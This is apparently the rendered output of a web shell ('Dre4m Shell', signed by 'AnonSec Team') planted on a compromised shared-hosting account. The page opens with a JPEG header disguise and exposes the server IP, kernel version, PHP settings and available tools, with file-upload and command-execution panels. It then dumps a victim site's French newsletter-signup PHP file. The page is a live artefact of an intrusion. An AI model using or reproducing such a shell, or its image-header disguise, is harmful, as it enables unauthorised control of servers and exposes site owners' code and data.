ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/inscription.php
<?php
/*
Module : Front-Office - Contact
Date : Juin 2015
Version Shop : V15.6
Auteur : Guillaume MADIOT - Computer 64
*/

//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//

// Chargement fichiers de configuration.
require('libs/Smarty.class.php');

// Démarrage du moteur TPL.
$smarty = new Smarty;

// Chargement des Fonctions Globals.
require('fonctions.php');

//****************************************************************************************//
//**************************      Traitement Formulaire       ****************************//
//****************************************************************************************//



$reponse = "";

if($_POST['from']) 
{
	// Vérification si l'expéditeur est présent dans la base de données Newsletter
	$sql = $GLOBALS['bdd']->prepare('SELECT * FROM fe_mail_user WHERE email = :email');

	$sql->execute(array('email' => $_POST['email']));
	$result = $sql->fetch();
	
	// Si non présent, à l'ajoute.
	if($result['email'] !== $_POST['email'])
	{
		$secteur = $_POST['secteur'];
		$name= $_POST['name'];
        $name = stripcslashes($name);		
       // $name = str_replace("'","\'", $name);



		$unsubscribe_code = substr(md5(trim($_POST['name']).trim($_POST['email'])), 0, 7);
		$sql = $GLOBALS['bdd']->prepare('INSERT INTO fe_mail_user (insert_date, id_user, id_cat, name, email, unsubscribe_code, time_unsubscribe, ip_unsubscribe, status) VALUES (:insert_date, :id_user, :id_cat, :name, :email, :unsubscribe_code, :time_unsubscribe, :ip_unsubscribe, :status)');
		$sql->execute(array('insert_date' => time(),
							'id_user' => '3',
							'id_cat' => '2',
							'name' => strtoupper($name),
							'email' => strtolower($_POST['email']),
							'unsubscribe_code' => $unsubscribe_code, 
							'time_unsubscribe' => '0',
							'ip_unsubscribe' => '0', 
							'status' => '0'));

 		$unsubscribe_code = substr(md5(trim($_POST['name']).trim($_POST['email'])), 0, 7);
		$sql = $GLOBALS['bdd']->prepare('INSERT INTO fe_mail_user (insert_date, id_user, id_cat, name, email, unsubscribe_code, time_unsubscribe, ip_unsubscribe, status) VALUES (:insert_date, :id_user, :id_cat, :name, :email, :unsubscribe_code, :time_unsubscribe, :ip_unsubscribe, :status)');
		$sql->execute(array('insert_date' => time(),
							'id_user' => '3',
							'id_cat' => $secteur,
							'name' => strtoupper($name),
							'email' => strtolower($_POST['email']),
							'unsubscribe_code' => $unsubscribe_code, 
							'time_unsubscribe' => '0',
							'ip_unsubscribe' => '0', 
							'status' => '0'));

 
 
	$reponse = "Nous vous remercions pour votre Inscription...";

	}
	else
	{
		$reponse =  "D&eacute;sol&eacute; mais vous &ecirc;tes Déjà inscrit !";
	}
 
}
    $smarty->assign('reponse',$reponse);


//////////////////////////////////////////////////////////////////


$sql = $GLOBALS['bdd']->query('SELECT * FROM fe_mail_group
	WHERE id > 3 ORDER BY name');
    $result = $sql->fetchAll();

    $smarty->assign("groupes", $result);










////////////////////////////////////////////////////////////////////////////////////////////

//*************************************** Affichage **************************************//
  $smarty->display('inscription.tpl');
?>  

Anon7 - 2022
AnonSec Team